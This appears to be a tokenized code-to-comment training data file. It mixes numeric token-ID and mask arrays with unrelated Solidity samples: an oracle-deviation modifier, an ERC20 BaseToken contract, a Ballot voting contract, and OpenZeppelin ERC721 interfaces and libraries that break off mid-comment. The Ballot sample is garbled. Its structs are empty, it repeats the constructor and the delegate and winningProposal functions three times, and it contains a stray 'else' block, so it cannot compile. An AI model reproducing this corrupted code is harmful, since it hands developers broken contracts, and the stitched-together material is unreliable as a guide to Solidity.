[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 1071, 4183, 31, 7682, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x157ED4Dcd657d17Aa2c3dCA31f30043e8Eff4f2E/sources/contracts/base/StrategyBase.sol
* @dev checks if the pool is manipulated/
modifier onlyHasDeviation() { require(!OracleLibrary.hasDeviation(factory, pool, chainlinkRegistry, usdAsBase, address(manager)), "D"); _; }
3,598,230
[ 1, 12366, 309, 326, 2845, 353, 13441, 11799, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 5582, 758, 13243, 1435, 288, 203, 3639, 2583, 12, 5, 23601, 9313, 18, 5332, 758, 13243, 12, 6848, 16, 2845, 16, 2687, 1232, 4243, 16, 584, 72, 1463, 2171, 16, 1758, 12, 4181, 13, 3631, 315, 40, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol"; import "openzeppelin-solidity/contracts/token/ERC20/CappedToken.sol"; import "openzeppelin-solidity/contracts/token/ERC20/RBACMintableToken.sol"; import "openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol"; import "erc-payable-token/contracts/token/ERC1363/ERC1363BasicToken.sol"; import "eth-token-recover/contracts/TokenRecover.sol"; /** * @title BaseToken * @author Vittorio Minacori (https://github.com/vittominacori) * @dev BaseToken is an ERC20 token with a lot of stuffs used as Base for any other token contract. * It is DetailedERC20, RBACMintableToken, BurnableToken, ERC1363BasicToken. */ contract BaseToken is DetailedERC20, CappedToken, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover { // solium-disable-line max-len /** * A constant role name for indicating operators. */ string public constant ROLE_OPERATOR = "operator"; /** * @dev Tokens can be moved only after minting finished or if you are an approved operator */ modifier canTransfer(address _from, uint256 _value) { require( mintingFinished || hasRole(_from, ROLE_OPERATOR), "Can't transfer" ); _; } /** * @param _name Name of the token * @param _symbol A symbol to be used as ticker * @param _decimals Number of decimals. All the operations are done using the smallest and indivisible token unit * @param _cap Maximum number of tokens mintable */ constructor( string _name, string _symbol, uint8 _decimals, uint256 _cap ) DetailedERC20(_name, _symbol, _decimals) CappedToken(_cap) public {} function transfer( address _to, uint256 _value ) public canTransfer(msg.sender, _value) returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public canTransfer(_from, _value) returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev add an operator role to an address * @param _operator address */ function addOperator(address _operator) public onlyOwner { addRole(_operator, ROLE_OPERATOR); } /** * @dev remove an operator role from an address * @param _operator address */ function removeOperator(address _operator) public onlyOwner { removeRole(_operator, ROLE_OPERATOR); } }
* A constant role name for indicating operators./
string public constant ROLE_OPERATOR = "operator";
2,464,446
[ 1, 37, 5381, 2478, 508, 364, 11193, 12213, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 533, 1071, 5381, 22005, 67, 26110, 273, 315, 9497, 14432, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x5242610622e44d9e8c2DfcD7BEbcF3D7F4fdBB57/sources/contracts/3_Ballot.sol
* @title Ballot @dev Implements voting process along with vote delegation/
contract Ballot { struct Voter { } struct Proposal { } address public chairperson; mapping(address => Voter) public voters; Proposal[] public proposals; constructor(bytes32[] memory proposalNames) { chairperson = msg.sender; voters[chairperson].weight = 1; for (uint i = 0; i < proposalNames.length; i++) { proposals.push(Proposal({ name: proposalNames[i], voteCount: 0 })); } } constructor(bytes32[] memory proposalNames) { chairperson = msg.sender; voters[chairperson].weight = 1; for (uint i = 0; i < proposalNames.length; i++) { proposals.push(Proposal({ name: proposalNames[i], voteCount: 0 })); } } constructor(bytes32[] memory proposalNames) { chairperson = msg.sender; voters[chairperson].weight = 1; for (uint i = 0; i < proposalNames.length; i++) { proposals.push(Proposal({ name: proposalNames[i], voteCount: 0 })); } } function giveRightToVote(address voter) public { require( msg.sender == chairperson, "Only chairperson can give right to vote." ); require( !voters[voter].voted, "The voter already voted." ); require(voters[voter].weight == 0); voters[voter].weight = 1; } function delegate(address to) public { Voter storage sender = voters[msg.sender]; require(!sender.voted, "You already voted."); require(to != msg.sender, "Self-delegation is disallowed."); while (voters[to].delegate != address(0)) { to = voters[to].delegate; require(to != msg.sender, "Found loop in delegation."); } sender.voted = true; sender.delegate = to; Voter storage delegate_ = voters[to]; if (delegate_.voted) { proposals[delegate_.vote].voteCount += sender.weight; delegate_.weight += sender.weight; } } function delegate(address to) public { Voter storage sender = voters[msg.sender]; require(!sender.voted, "You already voted."); require(to != msg.sender, "Self-delegation is disallowed."); while (voters[to].delegate != address(0)) { to = voters[to].delegate; require(to != msg.sender, "Found loop in delegation."); } sender.voted = true; sender.delegate = to; Voter storage delegate_ = voters[to]; if (delegate_.voted) { proposals[delegate_.vote].voteCount += sender.weight; delegate_.weight += sender.weight; } } function delegate(address to) public { Voter storage sender = voters[msg.sender]; require(!sender.voted, "You already voted."); require(to != msg.sender, "Self-delegation is disallowed."); while (voters[to].delegate != address(0)) { to = voters[to].delegate; require(to != msg.sender, "Found loop in delegation."); } sender.voted = true; sender.delegate = to; Voter storage delegate_ = voters[to]; if (delegate_.voted) { proposals[delegate_.vote].voteCount += sender.weight; delegate_.weight += sender.weight; } } } else { function vote(uint proposal) public { Voter storage sender = voters[msg.sender]; require(sender.weight != 0, "Has no right to vote"); require(!sender.voted, "Already voted."); sender.voted = true; sender.vote = proposal; proposals[proposal].voteCount += sender.weight; } function winningProposal() public view returns (uint winningProposal_) { uint winningVoteCount = 0; for (uint p = 0; p < proposals.length; p++) { if (proposals[p].voteCount > winningVoteCount) { winningVoteCount = proposals[p].voteCount; winningProposal_ = p; } } } function winningProposal() public view returns (uint winningProposal_) { uint winningVoteCount = 0; for (uint p = 0; p < proposals.length; p++) { if (proposals[p].voteCount > winningVoteCount) { winningVoteCount = proposals[p].voteCount; winningProposal_ = p; } } } function winningProposal() public view returns (uint winningProposal_) { uint winningVoteCount = 0; for (uint p = 0; p < proposals.length; p++) { if (proposals[p].voteCount > winningVoteCount) { winningVoteCount = proposals[p].voteCount; winningProposal_ = p; } } } function winnerName() public view returns (bytes32 winnerName_) { winnerName_ = proposals[winningProposal()].name; } function getTime() public view returns (uint) { return block.timestamp; } }
8,178,042
[ 1, 38, 454, 352, 225, 29704, 331, 17128, 1207, 7563, 598, 12501, 23595, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 454, 352, 288, 203, 27699, 203, 565, 1958, 776, 20005, 288, 203, 565, 289, 203, 203, 565, 1958, 19945, 288, 203, 565, 289, 203, 203, 565, 1758, 1071, 462, 1826, 12479, 31, 203, 203, 565, 2874, 12, 2867, 516, 776, 20005, 13, 1071, 331, 352, 414, 31, 203, 203, 565, 19945, 8526, 1071, 450, 22536, 31, 203, 203, 565, 3885, 12, 3890, 1578, 8526, 3778, 14708, 1557, 13, 288, 203, 3639, 462, 1826, 12479, 273, 1234, 18, 15330, 31, 203, 3639, 331, 352, 414, 63, 343, 1826, 12479, 8009, 4865, 273, 404, 31, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 14708, 1557, 18, 2469, 31, 277, 27245, 288, 203, 5411, 450, 22536, 18, 6206, 12, 14592, 12590, 203, 7734, 508, 30, 14708, 1557, 63, 77, 6487, 203, 7734, 12501, 1380, 30, 374, 203, 5411, 289, 10019, 203, 3639, 289, 203, 565, 289, 203, 377, 203, 565, 3885, 12, 3890, 1578, 8526, 3778, 14708, 1557, 13, 288, 203, 3639, 462, 1826, 12479, 273, 1234, 18, 15330, 31, 203, 3639, 331, 352, 414, 63, 343, 1826, 12479, 8009, 4865, 273, 404, 31, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 14708, 1557, 18, 2469, 31, 277, 27245, 288, 203, 5411, 450, 22536, 18, 6206, 12, 14592, 12590, 203, 7734, 508, 30, 14708, 1557, 63, 77, 6487, 203, 7734, 12501, 1380, 30, 374, 203, 5411, 289, 10019, 203, 3639, 289, 203, 565, 289, 203, 377, 203, 565, 3885, 12, 3890, 1578, 8526, 3778, 14708, 1557, 13, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // 